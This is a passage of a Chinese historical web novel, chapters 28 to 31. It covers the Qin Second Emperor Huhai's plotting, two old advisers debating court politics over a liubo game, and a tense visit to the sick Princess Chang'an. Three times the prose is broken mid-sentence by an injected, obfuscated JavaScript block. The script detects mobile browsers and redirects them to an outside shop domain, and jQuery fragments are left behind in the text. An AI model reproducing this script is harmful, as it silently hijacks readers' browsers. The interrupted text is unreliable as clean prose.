母亲不是没有第二条路可走,她为君父诞下了男嗣,如果她能聪明地再等等,等到她的儿子继承君父至高无上的皇位,她就能顺理成章地成为秦国最为尊贵的女人。 可惜……这世上确实有人愿意为了所谓的尊严和节义一类虚无缥缈的东西而死,以他母亲的性格,绝对不会屈辱地苟活于敌国君主的后宫中选择第二条路,哪怕后者是一条通往荣华富贵的路。 忆及旧事,胡亥的眼中不免泛起了泪光,他并不介意在韩美人面前暴露自己的脆弱,“你知道的,朕不能奉自己的母亲做太后,朕想她应该也不愿意同君父合葬。所以……” 胡亥的眼泪最终没有落下来,他选择笑着将所有的眼泪都压回去,“所以朕从一开始便打算选择一个最有利于朕的人做‘母亲’,就像大父(祖父)庄襄王那样。” 所以,今夜之事竟然完全在他精密的计算和掌控之中吗? 若果真如此,这种谋算的心机也太过可怕了。 韩美人小心翼翼地看了胡亥这个枕边人一眼,自他登上皇位之后,她居然也开始看不透这个自幼相伴的少年了。 胡亥别有深意地看了她一眼,吩咐道,“朕累了,替朕再把沉水香点上吧。” 28. 福祸相依 自岁首十五团圆之夜后,咸阳城内又连下了两天两夜的雪,一待雪后初霁,茅焦便迫不及待地“杀”到渭阳学宫来向宋怀子兴师问罪。 渭阳学宫内,宋怀子早已摆好一套六博棋具恭候多时。 漆案上放着的六博棋具十分精美,棋盘是由几块白玉板拼接而成,棋局是用象牙镶嵌的,四角有钉孔,边缘装饰着小涡纹,内由雕刻精美的饕餮纹、蟠虺纹和虎纹组成精美的画面。有六箸(算筹)而无骰子,六筹是由象牙制成,一面髹黑漆,一面保持原色,以示正反两面的不同。棋子则是分别由秦地所产的蓝田玉和齐地所产的水晶制作而成。 不过茅焦眼下没有博弈的心思,率先声讨道,“眼下游说成功,公主得救,你满意了?” 宋怀子一脸淡定地先为他舀了一樽煮好的玉泉生春,“我对茅君的游说之能还是很有信心的,想来皇帝陛下也是十分满意的。” 茅焦丝毫不领情,没好气地哼了一声,“少跟我来事后未卜先知这一套,为了你的嘱托,我可是冒着脑袋与身子分家的风险去谏言求情的。” 宋怀子将手揣在袖袍中,笑眯眯地拿手肘朝炸毛的老友碰了碰,“咱俩也算积年累月的交情了,你真的以为我会舍得让你去送死?” 茅焦揣着手傲娇地撇过脸去,仍旧耿耿于怀,“若非惧怕送死,你怎么不自己去?论与元后和长安公主的亲疏远近,你这个老匹夫可比我亲近多了。” 宋怀子忽而漠然地看了一眼漆案下的双腿,长叹了口气,呼出的白气很快在空气中变得虚无缥缈,“上次我说我不能离开渭阳学宫,你以为我是为何?我的宿疾已经病入膏肓,双腿几乎不能行走了。” 他再次重申道,“所以我是真的离不开渭阳学宫。” 茅焦闻言倒抽了一口凉气,“你说什么!原来不是还能走两步吗?怎么突然就……” 从前宋怀子虽然因为宿疾不良于行,但只是不便行走,而现在,竟是一步也不能走了吗。 原本的不满与愤怒瞬间消散了,茅焦同情地看了一眼宋怀子漆案下的腿,刚想安慰几句,却又转念一想,这个老狐狸不会是骗自己的吧?他会是骗自己的吗?他不应该会拿这种事骗自己吧。 算了,先问问别的。 “你刚才说你不是让我去送死的,你怎知陛下一定会听信我的谏言?” 宋怀子将六博棋向前推了推,故意挤眉弄眼道,“现在能博弈一局了?” 茅焦还没从震惊之中缓过来,半推半就地在棋局上先掷了六支象牙箸,有三支白箸朝上,他便执白棋谨慎地绕外侧绕行走了三步,从“张”到“究”再到“屈”位。 宋怀子啜饮了一口热茶,一边掷箸一边道,“你以为呢?咱们的皇帝陛下正等着有人给他搭梯子往下走呢?” 茅焦逐渐专心博弈,想也没想随口道,“你是说陛下本来就不忍心杀长安公主这个少小相伴的王姊,只是面子拉不下来,所以一有人求情便答应了?” 宋怀子摇了摇头,“非也。陛下怪罪长安公主的诏令言辞甚为苛责,细究之下,长安公主的罪过竟是比她那些被当场逮捕下狱的兄姊还要严重,哪里像是顾惜姊弟之情的样子。” 茅焦专心于计算六博棋的步骤,头也不抬道,“那是为何?” 宋怀子的心思却并非真的在棋局上,“因为他早就想要元后做自己名义上的‘母亲’,好借元后嫡子之名去堵得位不正的流言,因此茅君所言正中陛下下怀。” 他随意掷了一把箸,继续道,“若是真的顾惜手足之情,引诸兄入局的棠华宫宴完全可以避开长安公主,可是他偏偏要让公主这个王姊在场。一是为了杀鸡儆猴,让公主畏惧他至高无上的权威,对他这个二世皇帝更加忠心拜服;二是他早就算准了我们这些元后故人会为了救公主的性命不得不主动奉上元后的名分任他利用,一旦成为元后养子,他便是名正言顺的皇位继承人。” “这……”茅焦不敢置信这个年轻的二世皇帝会如此设下如此天衣无缝的布局。 宋怀子点了点愕然的茅焦,示意该他走棋了,“非嫡非长的庄襄王认嫡母华阳夫人为养母以成为孝文王太子这种家事,咱们这位皇帝陛下可比你这个外人清楚。所以你这是去给饿极了的狼崽子喂肉吃呢,陛下心里感激你还来不及,又哪里舍得让你这个大功臣脑袋和身子分家呢?” 茅焦继续掷箸走棋,棋局正好入水食鱼他率先得分,不由得拊掌道,“你这么一说,其实陛下的帝王心术早在岁首朝贺那日就显露端倪了。李斯请婚一事陛下本是不想同意的,可他却巧妙地将这个矛盾转移到了蒙恬身上,李斯本就极为忌惮蒙恬这位后起之秀,乍闻蒙恬要与他争婚,可不就将刀光剑影全都对准蒙恬了吗。如此,陛下和李斯的矛盾就变成了李斯和蒙恬的矛盾,最后陛下反倒乐得做了好人。” 顿了顿,他又感慨道,“咱们这位皇帝陛下是和从前为公子时不太一样了。不过‘轻财重士’的厚道之心却大不如前。蒙恬如他所愿做了那把制衡李斯的刀,他却听信赵高轻飘飘几句话就将蒙恬从内史贬为庶人。” “你以为陛下‘轻财重士’重的是哪些士?当然是自己的士。蒙恬虽然因公主的陈情得以保全性命,但陛下可从未放心地把他当做自己的‘士’。所以无论是拿来挡刀还是借机贬黜都是不心疼的。” 茅焦叹了口气,“折断了鹰隼的双翼,使之不能再巡疆守土,真是可惜啊。” 宋怀子丝毫不在意茅焦先赢了他一子,摆了摆手道,“塞翁失马,焉知非福。” 茅焦继续掷箸走棋,“莫非被贬黜还是好事?” 宋怀子亦继续博弈,“被贬与身死相比当然是好事。秦廷历来有新君不用旧臣的惯例,当今陛下更甚。无论是秦廷还是宗室,先帝遗留下来的臣和子,反非新帝党羽,都会被一步一步清理干净。若是自己懂得主动退出尚且能保全性命,否则,就只有死路一条。茅君不也正预料到了即将到来的乱象,所以才迫不及待地想要辞官归隐吗?” 这确实是茅焦着急跑路的真正原因。 茅焦沉默良久,叹息地吟诵起伯夷叔齐的《采薇歌》,“‘登彼山兮,采其薇兮。以暴易暴兮,不知其非矣。神农虞夏忽焉没兮,我安适归兮?’眼下故人的提携之恩已经报答,我也能安心落叶归根了。只是,我本以为不顾这条老命替故人之子走一遭能让她在这场祸事中幸免于难,没想到人是救回来了,能不能活命却是另外一说了。” 我听闻公主昏迷至今都没有醒过来。 听到这个消息的宋怀子并却也只是淡漠道,“死生,命矣,人力所不能及。” 曾几何时,他也是对她那位沉迷求仙问药大保健的父亲这么说的。而更早的时候,这句话是她母亲信奉不疑的生死观。 “我是真不明白你。若说你在意她的女儿,如此生死危机面前你连面都不露;若说不在意,又千方百计地算计别人去救。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044454|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底在想些什么?” “你不觉得她现在昏迷着远比清醒着要幸运吗?” 想起近日来发生的祸事,茅焦也忍不住摇了摇头,“你说的也有道理。棠华宫宴后,那些被逮捕下狱的公子公主们已经陆续被处决了。公子十二人被戮死于咸阳市,十位公主被死于杜县。这两日咸阳城的刽子手都不够用了,砍人砍得刀锋都卷刃喽。” 这几日咸阳城下的哪里雪,那是血啊。 “她醒不过来也好,知道手足至亲要死却无法相救,比人已经死了只能血泪相和流要煎熬许多。至少,她不用亲眼看到这一切。” 茅焦摇了摇头,”公主还是太年轻气盛了。皇位之争中哪里来的兄弟姊妹,都是竞争对手,她既然选择支持当今陛下即位,又怎么能上赶着替当今陛下的竞争对手求情呢?” “我想她不仅是在替至亲求情,亦是在为心中的道义争辩。” 茅焦不认同道,“她的身份是天家公主,不是舍生取义的圣人先贤,怎么能去与至高无上的皇帝争对错?如今的情形……” 他叹了口气,没有继续说下去。 这么感慨着,宋怀子却是悄无声息地在棋盘上赢了一子,“如今的情形也未必是坏事。大难不死,必有后福。” “即便大难不死,也不过是一个失宠的公主,能有什么福气?” “茅君觉得经此一事,秦廷上下会如何看待长安公主不顾性命为诸兄姊求情一事?” 茅焦继续走棋,撇了撇嘴不以为意道,“赞她一声好人?” “对呀!茅君真是聪慧。” 茅焦闻言忍不住翻了个白眼,“这世道好人能有什么用?” “可太有用了。不管是真心还是伪善,这世道向来是‘得道者多助,失道者寡助。寡助之至,亲戚叛之。多助之至,天下顺之。’局势越乱,经历越惨,站在道德制高点的人主之子就越容易崛起。” 茅焦又在心中翻了个白眼,可她只是一个公主,她站在道德制高点有什么用?难道臣民还能拥立一位女子当皇帝吗? 宋怀子似乎是看透了他心中所想,抿了一口热茶,朝他投去了一个似笑非笑的眼神。 这样的眼神似曾相识,他记起宋怀子当年也曾笑着给他讲过始皇帝的一句戏言,“若是男儿,必为储君。” 可长安公主到底不是男嗣啊。 因而感慨道,“若长安公主真是个男儿就好了,就不会有所谓的立嗣之争了,也不会有如今的腥风血雨了。” 宋怀子最后下了一子,淡淡来了一句,“依大秦律历,若无男嗣,女子亦可顶立门户,继承父辈的爵位和财产。” 茅焦的心震动了一下,若是始皇帝的男性子嗣都被屠戮殆尽,那么即便是公主,也有机会问鼎至尊之位。 他隔着漆案向宋怀子靠近,连声音都有些颤抖,“你不会把先帝的戏言当真,决意培养一位大秦女皇帝了吧?” 若果真如此,那可是比赵高所为还是要冒天下之大不韪,赵高起码是将一位公子推上皇位,而眼前这位是要将一位女子扶上皇位。 宋怀子哈哈一笑,拍了拍他伸过来的肩膀,“茅君啊,我吃掉了你得分的枭棋,你又输了。” 宋怀子胜利的笑声响彻整个敦朴居,甚至震动得两人身侧漆屏上彩绘的鲲鹏都要扶摇直上九万里了。 茅焦扯了扯嘴角,呲了呲牙,后知后觉地意识到他又被宋怀子这个老匹夫耍了。 29. 六博对弈(二) 茅焦又道,“不过,她要是再醒不过来,下场未必比她那些兄姊要好多少。如今的皇帝陛下可不是个有多少耐心等待别人兑换承诺的人。” 宋怀子面上却无多少忧色,“茅君毋忧。公主还年轻,她的日子可比我们这些半截身子都入土的老家伙要长久。” 六博棋盘上又落了一子,茅焦揣着手道,“但愿如此吧。” —————— 长安园内,雪后初霁的阳光驱散了连日来的阴霾。 一位年长的女史踏进长安公主的内室,有条不紊地指挥着宫人们将内室沉闷晦暗的环境整肃一新。 “天已放晴,内室气流不畅,烟气太重,不利于公主养病。把窗边的絺帏打开,顺便把薰炉中的沉水香也熄了吧。” 谒者令万年应声称诺,吩咐两名宫人将薰炉抬出去清理香灰。 由于原本近身侍奉长安公主的内者令景福棠华宫那晚也受了风寒,所以万年这个负责迎送宾客的谒者令暂时顶替了她的位置。 而年长的女史正是万年的姑大母(姑祖母)万熹,她是长安公主的傅姆(古时辅导、保育贵族子女的老年妇人),也曾是元后的女师,只不过由于花甲之年(60岁)的缘故不在咸阳宫任职而荣养于长安园中。鉴于其对元后母女的养育之恩及亲近之情,长安园中的一众女史都以她为尊。 薰炉中的沉水香已经燃了两天两夜,积累了不少香灰,两名宫人将薰炉抬出室外后,不由得嘟囔道。 “公主被接回来的那天晚上,谒者令不是还奉女师之命特意将沉水香点上,说是对病中的长安公主有温气安神的功效,现在又嫌烟气太重不利于养病了。” 另外一位宫人催促道,“什么好东西也顶不住夜以继日地用,快干你的活吧。” —————— 此时此刻,章华殿内,胡亥听了从长安园回来的宦者回汇报后,不由得蹙了蹙眉。 “你是说长安公主还没醒过来?她什么时候能醒。” 宦者垂首胆战心惊道,“这……臣也不知。” 如茅焦所料,胡亥并没有多少耐心等待昏迷的长安公主醒来共享元后的母亲名分。他从蟠虺纹铜案上堆积如山的卷牍中随手抄起一卷扔了下去,恰巧砸中了宦者的脑袋。 “值守在长安园的侍医们真是一群废物!先帝之前是怎么放心让他们侍奉元后的。” 郎中令赵高假意整了整铜案上的卷牍,在胡亥身侧俯身道,“按理说,长安公主只是受了些许风寒而已,怎么会到现在都没醒呢?既然陛下觉得长安园的侍医医术不精,不如派些宫中的太医前去为长安公主诊治。” 赵高所言正切中胡亥心中的狐疑和不耐。 胡亥颔首道,“郎中令所言有理。那就遣太医丞夏无疾去长安园为公主诊治。” 遣亲信太医去长安园,与其说是诊治,不如说是试探。 太医丞夏无疾医术高超,又出身医学世家,乃是昔日的太医令夏无且之孙,且是始皇亲大母(亲祖母)夏太后的亲族,可谓是大秦皇帝的亲信。 “陛下。”随着一道极为柔婉的女声响起,深受胡亥宠爱的韩美人从絺帏后缓缓现身。 “陛下若是真的关切长安公主的病情,不若亲至长安园探望公主如何?” 若是二世皇帝亲自去探望长安公主,无疑是为失去帝心的公主重塑往日的荣光。 赵高嘴角暗暗露出一个嘲讽的笑容,自棠华宫变后,他就发觉韩美人这个宠妃的枕头风对胡亥十分管用,但是这股枕头风的方向并不是吹向自己的。 原本他就打算在后宫安插他们赵氏的眼线,如今更要抓紧送族中美人入宫了。 只是眼下他还是得亲自上阵与韩美人这个后宫女流对线,“陛下天子之尊,怎可向冒犯天颜的罪臣低头?” 韩美人是个聪明人,她很早就风闻赵高准备往胡亥身边送赵氏美人,所以棠华宫变那晚她才早做打算暗中向长安公主伸出援手,敌人的敌人便是朋友,只希望长安公主别辜负自己的帮扶才好。 “罪臣?容我提醒一句,长安公主并未被废黜尊位,她仍然是天子女兄,且,”韩美人故意顿了顿,看着咄咄逼人的赵高道,“即将成为陛下的同胞女兄。” 胡亥在宠妃和宠臣之间左右摇摆,最后还是为了即将到手的“嫡子”名分决定亲自去看看。 “宜君所言亦有道理,长安公主毕竟与朕少小相伴,朕总要亲自带着太医去长安园探望朕的好王姊才能放心。” 嘴上说着姊弟之情是如何亲近,胡亥眼角眉梢透露出的笑意却不怎么关切。 一如茅焦所料,若是连太医丞夏无疾都医不好长安公主,那么她的下场的确不会比那些已经被处死的公子公主们好多少。 —————— 渭阳学宫内,宋怀子与茅焦的六博棋局正“杀”得不可开交。 六博双方各执六枚棋子,茅焦已经连胜三子,局势对于宋怀子而言十分不利。若他再胜一子,宋怀子就彻底输了。 “你说,长安公主身上到底流淌着虎狼之秦的血,怎么就不知道要在皇位之争中明哲保身的道理呢?” 宋怀子啜饮了一口茶,“她未必不知道。” 茅焦埋怨道,“知道还要替那些必死的兄姊求情。皇位之争中哪来得手足之情,全是潜在的竞争对手。公主此举这不是上赶着把自己从皇帝的同党变成异党吗?” 宋怀子依旧是那副云淡风轻的样子,“所以茅君以为公主做错了?” “因妇人之仁逞匹夫之勇,相救的人没救到,反为自己招致祸事,莫非宋子觉得没错?” 宋怀子不急不徐地落下一子,“‘祸兮,福之所倚;福兮,祸之所伏。’我倒觉得未必完全是祸事。” 胜利近在眼前,茅焦极有耐心地打算听宋怀子继续“诡辩”,“洗耳恭听。” “公主在大多数人以沉默来明哲保身时挺身而出,舍己救兄,匡扶宗室,此非妇人之仁,而是难能可贵的高义之举。” “那么请问宋子高义之举在政治博弈中有什么用呢?” “圣人言‘得道者多助,失道者寡助。寡助之至,亲戚叛之。多助之至,天下顺之……’” 茅焦当即打断宋怀子满口仁义道德的话,“得了吧,我可不知道你什么时候成了孔孟的信徒。” 宋怀子游刃有余地再执一棋,“茅君身为满腹经纶的太史令,岂不闻‘郑伯克段于鄢’的故事?只有站在道德的制高点上才能更好地痛击行不义之举的对手。” 茅焦听完了然地轻笑了一声,“原来高义的作用并不在于高义本身,而是以此来标榜自己攻击别人,这实在是一种高明的武器。只可惜,我们的公主并非‘寤’生(倒着出生,亦为郑庄公的名字),而是‘女’生(作为女子出生)。” 说着,他又意有所指道,“你所谓的‘福祸相倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081089|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’是在放长线钓大鱼。可你是否选错了鱼饵?” “若是手头的鱼饵都被大鱼吃掉了,只剩下这唯一的鱼饵呢?” 茅焦有些心惊,宋怀子其实是在暗喻当下的局势。换言之,若是二世皇帝将始皇帝的子嗣杀得绝嗣了,只剩下长安公主这一个先帝之子呢? 不过,他很快又在棋盘上攻克了宋怀子的漏洞,“宋子不愧是墨家巨子,太异想天开了。即便手头的鱼饵都被吃掉了,还可以去借别人的鱼饵,没必要非要用一枚不合适的鱼饵。” 这话的意思是,即便始皇帝之子都死绝了,还可从宗室过继,亦轮不到长安公主这个“女”公子。 宋怀子长叹一口气,东亚文化圈比西方文化圈更难出女性君主的根本原因在于稳固且延绵不绝的宗法制,这从根本上掐断了女性子嗣的继承权。在政治地位的继承上,即使没有亲生的儿子,也会想法设法地过继别人家的儿子,而不是将继承权留给自己家的女儿。 在这片土地上,虽然也出过武则天一样的“大女主”,但她也是在宗法制的框架下通过丈夫或儿子掌权,因为东亚社会默认外来媳妇掌握的权力迟早会归还给丈夫家的儿子,而女儿通过父亲掌权,则几乎是不可能的事情。 所以,“若是男儿,必为储君。”这句戏言之所能被始皇帝说出口,是因为长安公主根本不可能做储君。 不过他很快又抬起头,“事无绝对。局势越乱,越有重整规则的可能。正如这盘六博棋,茅君吃掉了我三个散棋,看似胜负已定,实则还差一子定乾坤。” 说着,宋怀子郑重其事地最后掷了一次六箸,然后下了最后一子,“茅君,你的枭棋被我吃掉了。这盘棋,终究是我赢了。” 茅焦目瞪口呆地睁大了双眼,“怎会如此?你我各执六枚棋子,我已吃掉了三枚,明明胜券在握的是我。” 宋怀子抿了一口热茶,朝他投去了一个似笑非笑的眼神,“我这人向来不喜欢按常理出棋。你虽然吃掉了我三枚棋子,却都是散棋,只要我的枭棋还在,便有逆风翻盘的可能。” 六博最致命的吸引力恰恰在于这种“险中求富贵”。 茅焦将手中剩余的棋子扔在棋盘上,他虽然输了六博,却不肯在辩论上示弱,“位尊无权的六博中的枭棋之所以能成为贵彩,是因为有散棋在辅佐它,若无散棋,枭棋孤军作战岂非被吃定了。” 正如这几日被屠戮的公子公主们一样,无人支持和辅佐,即便站在道德制高点上也和待宰的羔羊没什么区别。 宋怀子则是一一捡起被他扔掉的棋子,“所谓‘人弃我取’,既然有人执意要丢掉一些对他‘无用’的散棋,那我不妨跟在后面捡一些来辅佐我的枭棋。” 茅焦看了看他,这不正是当下的乱局吗?二世皇帝打定主意要肃清异党,从宗室到秦廷,日后多的是走投无路、报国无门的能人贤臣。 譬如那位被幽居家中的大秦鹰隼蒙恬。 茅焦反驳道,“可如今的枭棋也不是傻子,公然拉拢散棋,哪怕是无用的散棋,难道不会引起枭棋的怀疑吗?” “所以说生为女子未必全是劣势,公主只是当今陛下的‘女’兄,而且即将成为名义上的‘同胞’女兄。”宋怀子也刻意把“女”字咬得重了一些,朝他挤眉弄眼道,“你说,为了让这位‘胞姊’尽快承认自己元后之子的名分,陛下会不会主动送上一枚弃之不用的散棋去哄‘胞姊’的欢心呢?” 30. 探疾长安园 “陛下来了。” 谒者令万年向自己的姑大母,长安园的执事女史万熹禀报道。 这位年迈的女史特意重新整了整自己梳得一丝不苟的偏髻,理了理自己原本就整洁一新的衣襟,带人前去迎候。 万年正要紧随其后,姑大母万熹却拦住了她,“你去把炉子上熬好的药亲自喂给公主喝。记住,千万不要假手于人。” 万年什么也没有问,只低声应诺便退了下去。 —————— “朕的好王姊还是没有醒吗?”胡亥一踏入长安园便如此询问道。 “是。” 胡亥注意到回话者是一位头发花白却一丝不苟的老妇人。他认得她,少时他被带去北宫时曾经受到过这位老傅姆的照料,直至长安公主及笄,她以年迈为由自请从长安宫退居长安园看守元后留给长安公主的苑囿。 “好久不见了,老傅姆。” 万熹再次屈膝行礼,“老妇虽与陛下久违,却在长安园中日夜祝祷,希望上天能庇佑陛下和公主眉寿万年,永享景福。” 虽是祝颂吉语,但在这对姊弟反目之后听来却更像是字字讥讽。 胡亥的心梗了梗,在这位照顾过他们姊弟的老傅姆面前终究自觉理亏。 缓了缓,他特意道,“朕十分关怀王姊的病情,所以今日从宫中带了太医来替王姊诊治,还请老傅姆在前面带路吧。” 胡亥行至中堂安坐,令太医丞夏无疾入内室替长安公主诊治。 不久之后这位太医丞便来到中堂回话。 “陛下,公主的身体虽然长期卧病在床虚弱了些,但是并无大碍。臣已为公主施针,相信公主很快就能苏醒。只是……” “只是什么?” “只是目下寒邪之气瘀滞髌骨,以至气血凝结,经脉阻滞,肌表收引,恐会日后不良于行。且一旦气候阴冷寒湿,膝盖便会疼痛难忍。还有……” “还有?” 夏无疾有意看了看中堂侍奉的众人,谨慎道,“还请陛下屏退左右。” 胡亥虽不知她到底想说什么,但必然是什么不得为外人言的病症,便挥了挥手让一众宫人退下。 傅姆万熹和其侄孙万年却依旧端肃立于中堂,“太医丞此举想必是公主的身体还有不妥之处。老妇自公主出生起便侍奉左右,谒者令万年亦是自小侍奉公主的婢子,凡和公主有关,没有什么是不知道的,我们二人留在这里,也方便太医丞直言问询。” 夏无疾瞥了万年一眼道,“长安园中亦有侍医,想来老傅姆也当知道此事。” 胡亥听太医丞这么说,并没有执意让老傅姆和嬴略身边的谒者令也退下。 夏无疾这才叹了口气道,“臣方才替公主诊脉,发现公主体内还曾瘀滞大量寒气,淤阻胞宫,日后恐难有孕……” 恐-难-有-孕?! 沙丘行宫时的那些梦魇再次闪现在胡亥眼前,梦魇中的王姊与他对峙时明明已经身怀六甲,她怎么可能会没有孩子呢? 一想起那个梦魇,胡亥便有些心虚。 ——晦暗不明的梦魇中玄色裙裾下渗出的血,声嘶力竭却无人回应的绝望呼救…… ——“求求你,救救我的孩子,求你……救救我的孩子……” 他是怎么做的呢? ——他选择视而不见。为了永绝后患,故意对她们母子见死不救。 沙丘之谋后,他以为那只会是梦魇。没想到梦魇兜兜转转又变成了现实,而且比梦魇更加残酷的是,他不是害死了王姊未出世的孩子,他是害得她以后都不会再有孩子。 夏无疾觑着主位上二世皇帝的神色,想起大父(祖父)夏无且昔日的教导,觉得自己在皇帝面前多少应该讲点说话的艺术,遂又补充道。 “陛下,冰冻三尺,非一日之寒。臣观公主体内瘀滞大量寒气应是累积了些时日,并不只是因为近日寒邪入体的缘故。” 胡亥闻言果然神色稍缓,转而问责起公主的傅姆万年,“莫非是老傅姆照顾不周的缘故。” 万熹跟随元后入秦时侍奉已近三十年,自然是宫中的人精,怎会接下这口大锅,坚决且不失恭谨地否认道,“老妇奉元后之命保育公主,岂敢不尽心。直至公主及笄前,老妇都极为注重女子之事。太医丞乃妇科圣手,从前也替公主请过平安脉,可证老妇所言非虚。” 夏无疾眼见锅甩来甩去甩到了自己身上,对自己多嘴讲究“说话的艺术”追悔莫及,她就说她不擅此道。 “确实如此,公主在跟随先帝最后一次出巡之前,身体一直康泰无恙。” 胡亥又将目光瞥向侍奉嬴略的年轻女史,“那便是王姊身边近身侍奉之人不尽心了?” 眼下近身侍奉嬴略的人只有谒者令万年在跟前,她虽然素日寡言少语,却并非言语钝拙之人,斟酌了一番,开口道。 “公主跟随先帝出巡时,常在蕴凉车上侍奉先帝,而先帝难耐暑热,因而辒辌车中多置冰鉴,不知是否与此事有关?” 虽然这话听起来是在问询太医丞夏无疾,但万年的目光却一直是投向主位上的二世皇帝。 提及辒辌车上的冰鉴,胡亥的眼中闪过一瞬间的慌乱,他知道王姊身边的谒者令在暗示什么。 沙丘之谋后,王姊为了助他隐瞒上崩于外的消息,稳住朝中局势,自请在放满冰鉴的辒辌车中为君父守灵多日,所以才…… 无论是因辒辌车上的冰鉴还是因棠华宫变的夜雪,他在此事上都有不可逃脱的责任。 但是,皇帝怎么会承认自己有错呢? 尤其是在这个当口,他急需王姊认同自己元后嫡嗣的身份,又怎么能承认是自己害得她终生不孕。 胡亥心中的算计很快压过了良心的谴责,他立即对傅姆万年疾言厉色地质问,“王姊知道此事吗?” 不待胡亥吩咐人精一般的傅姆万年便从善如流道,“陛下放心。公主这些日子一直卧病在榻,清醒的时日少,老妇还未向公主禀告此事。自然,老妇也定会约束长安园的侍医不得在公主面前多嘴些不利于姊弟和睦的流言蜚语。” 胡亥点了点头,很满意老傅姆这个人精的知时识务,却也不是很放心长安园中的侍医,又对提出此事的太医丞夏无疾吩咐道,“太医丞既然医术精湛,又精通妇人之科,便留下来为公主侍疾吧。只是,什么该说,什么不该说,太医丞应该心中有数。” 虽然不太擅长“说话的艺术”,但在宫中混迹多年,夏无疾该表的忠心还是会表的,“陛下放心。臣不敢不奉陛下明命,定然尽心竭力为公主医治。” 交待完之后,便听中堂外有谒者禀告。 “陛下,公主醒了,正等着觐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137074|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见陛下。” 胡亥闻言立刻从主位起身,“快请——” 嬴略由两位内者搀扶入内,面色苍白,容色黯淡,看起来憔悴至极。 由于卧病在榻许久,以至于行动间重心虚浮,两位内者几乎是一左一右驾着她进入内室的。 胡亥本来心中就存有些许愧疚,如今又亲眼见到王姊从耀眼夺目病弱到形销骨立,原本的铁石心肠也有些软和,大步流星地走下主位,在内者还未搀着嬴略下拜时便亲自扶起了她。 “王姊可好些了?” 即便有胡亥搀扶,内者也不敢让嬴略的全部重心倚靠在胡亥身上。 嬴略抬眸看了看他,动了动嘴唇,却是什么话也没说出口。 胡亥以为她心中对自己还有怨怼,“王姊可还是在生朕的气?” 嬴略依旧垂眸不语。 这使得胡亥在愧疚之余心中又产生了难言的怒火。 他作为天下至尊的皇帝已经屈尊来看望她了,她竟然还如此不识抬举。 但是一想到自己还需要她的认同,又是自己导致她病弱如此,胡亥还是再次软下心肠道,“坐吧。” 嬴略的嘴唇又动了动,却还是连句谢恩的话都没说出口。 她一再的冷淡态度终于让胡亥压抑不住心中的怒火,冷声道,“想来王姊还是因为棠华宫宴一事对朕心怀怨怼,不肯与朕说话?” 在室内冰冷到极点的寂静中,突然传来太医丞夏无疾一声不合时宜的低呼。 胡亥怫然不悦地剜了她一眼,“莫非太医丞还有事情要禀报?” “臣……”顶着重重压力,夏无疾不得不硬着头皮出来回话,“臣方才突然想到,或许……公主脖颈上的剑伤损及了声带,所以导致现在口不能言。” 短短两句话说得夏无疾手心冒汗,她不仅不擅长“说话的艺术”,而且不擅长说谎。 胡亥的狼视在下首的三位女史身上扫视了一圈,对着夏无疾道,“果真有此事,方才为何不禀报?” “方才……”夏无疾觉得自己舌头有些打结,默默深吸了一口气,才捋顺了舌头,“方才臣着急为公主施针排寒,并未对公主脖颈上的伤势做详细诊断。” 胡亥看了看她,又看了看似要开口却只有泪光盈盈的嬴略,她脖颈上的伤痕虽然已经结痂,但看起来依旧刺目,仿佛姊弟之间那道尚未弥合的丑陋裂痕。 他轻笑了一声道,“原来是朕误解了王姊。” 不能说话也好,起码她无法再反驳自己了。 “你们都下去吧。”胡亥淡淡地吩咐道。 中堂上的人互相对视一眼,虽然心知这有些不合礼,但谁也不敢反驳皇帝。还是资历最长的傅姆万年最先行礼告退,而后其他人也默契有序地退了下去。 太医丞夏无疾不动声色地走在谒者令万年身旁,小声蛐蛐道,“我们俩这么长时间的交情了,你竟然在陛下面前‘陷害’我。” 原来,夏无疾方才之所以不合时宜地低呼出声,是因为谒者令万年暗中以衣带上缀饰的珠玑打中了她的背部。 身为她的私交好友,夏无疾当然知道万年其实身手不凡。 万年面无表情道,“身为太医丞,难道不该对病人的病情知无不言吗?” 夏无疾气急,声音不免大了些,“你明知公主的声带……” 31. 虎狼争锋 走在前面的傅姆万熹突然转过身来对自己的侄孙万年呵斥道,“宫中的规矩都忘了吗?身为公主身边的谒者令,怎可在行走间与人交头接耳?” 被训斥的万年依旧是那副万年不变的冰山脸,夏无疾却是吓得缩了缩脖子,尽管万熹呵斥的并不是她。 没想到,万熹又转向夏无疾,态度极为和颜悦色道,“老妇知道太医丞醉心钻研医术,长安园的藏室中珍藏了不少元后收藏的医书典籍,甚至有些是失传已久的古籍,不知其中是否有利于公主病情的医书,不如让万年带太医丞去藏室看看吧。” 